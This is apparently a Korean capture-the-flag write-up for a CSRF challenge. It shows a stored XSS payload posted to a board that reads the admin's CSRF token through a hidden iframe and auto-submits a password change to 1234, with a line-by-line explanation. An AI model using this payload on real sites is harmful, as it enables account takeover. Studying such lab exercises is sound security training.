
이전과 같이 admin 계정을 탈취하는 문제이다.


bawool 계정 생성 후 마이페이지 접속 후 패킷을 확인해 보면 서버 측에서 csrf token을 발행하는 걸 볼 수 있다. admin 계정의 정보를 바꾸려면 admin 계정의 csrf token을 사용해야 할 것이다. 일단 csrf token에 접근하기 위한 경로를 확인해 보자.

document를 이용해서 csrf token 값에 접근할 수 있다. 이 말은 곧 admin 계정의 csrf token에도 접근할 수 있다는 것이다.



회원 정보 수정 시 csrf_token 파라미터도 포함되는 걸 알 수 있고 GET 요청 시에는 에러가 발생하기 때문에 POST 요청으로 csrf 공격을 수행해야 한다.

xss 취약점을 찾기 위해 게시판으로 이동



스크립트 작성 후 작성 글 페이지 접속 시 스크립트 출력, 게시글 제목과 내용 부분에 xss 취약점 확인
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="csrf" style="display:none;" onload="getToken()"></iframe>
<iframe name="myFrame" style="display:none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" target="myFrame" id="myForm">
<input type="hidden" name="pw" value="1234"/>
<input type="hidden" name="csrf_token" value="" id="token"/>
</form>
<script>
function getToken() {
var myIframe = document.getElementById('csrf');
var dom = myIframe.contentDocument;
var token = dom.getElementsByName('csrf_token')[0].value
document.getElementById('token').value = token;
document.getElementById('myForm').submit();
}
</script>
코드 설명
1️⃣ CSRF 토큰을 포함한 페이지 로드
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="csrf" style="display:none;" onload="getToken()"></iframe>
- iframe을 사용하여 CSRF 토큰을 포함한 페이지(mypage.php)를 로드
- onload="getToken()" 속성을 사용하여 페이지가 로드된 후 getToken() 함수를 실행
2️⃣ 공격 요청을 보낼 iframe 생성
<iframe name="myFrame" style="display:none;" sandbox="allow-scripts"></iframe>
- 공격 요청을 보낼 iframe을 숨김(display:none;)
- sandbox="allow-scripts" 옵션을 사용하여 팝업창을 숨김
3️⃣ CSRF 공격용 form 생성
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" target="myFrame" id="myForm"> <input type="hidden" name="pw" value="1234"/> <input type="hidden" name="csrf_token" value="" id="token"/> </form>
- action="mypage_update.php" → 비밀번호 변경 요청을 보낼 대상 URL
- target="myFrame" → 숨겨진 iframe을 통해 요청을 보냄
- name="pw" value="1234" → 비밀번호를 1234로 변경하려는 시도
- name="csrf_token" value="" id="token" → CSRF 토큰을 채워서 보낼 예정
4️⃣ CSRF 토큰을 추출하는 getToken() 함수
<script> function getToken() { var myIframe = document.getElementById('csrf'); var dom = myIframe.contentDocument; var token = dom.getElementsByName('csrf_token')[0].value; document.getElementById('token').value = token; document.getElementById('myForm').submit(); } </script>
- getElementsByName('csrf_token')[0].value를 사용하여 CSRF 토큰 값을 추출
- document.getElementById('token').value = token; → 폼의 CSRF 토큰 입력란을 채움
- document.getElementById('myForm').submit(); → 자동으로 폼을 제출 (CSRF 공격 실행)


게시글 작성 후 admin 계정 접속 요청


admin 계정으로 로그인 시 flag 획득!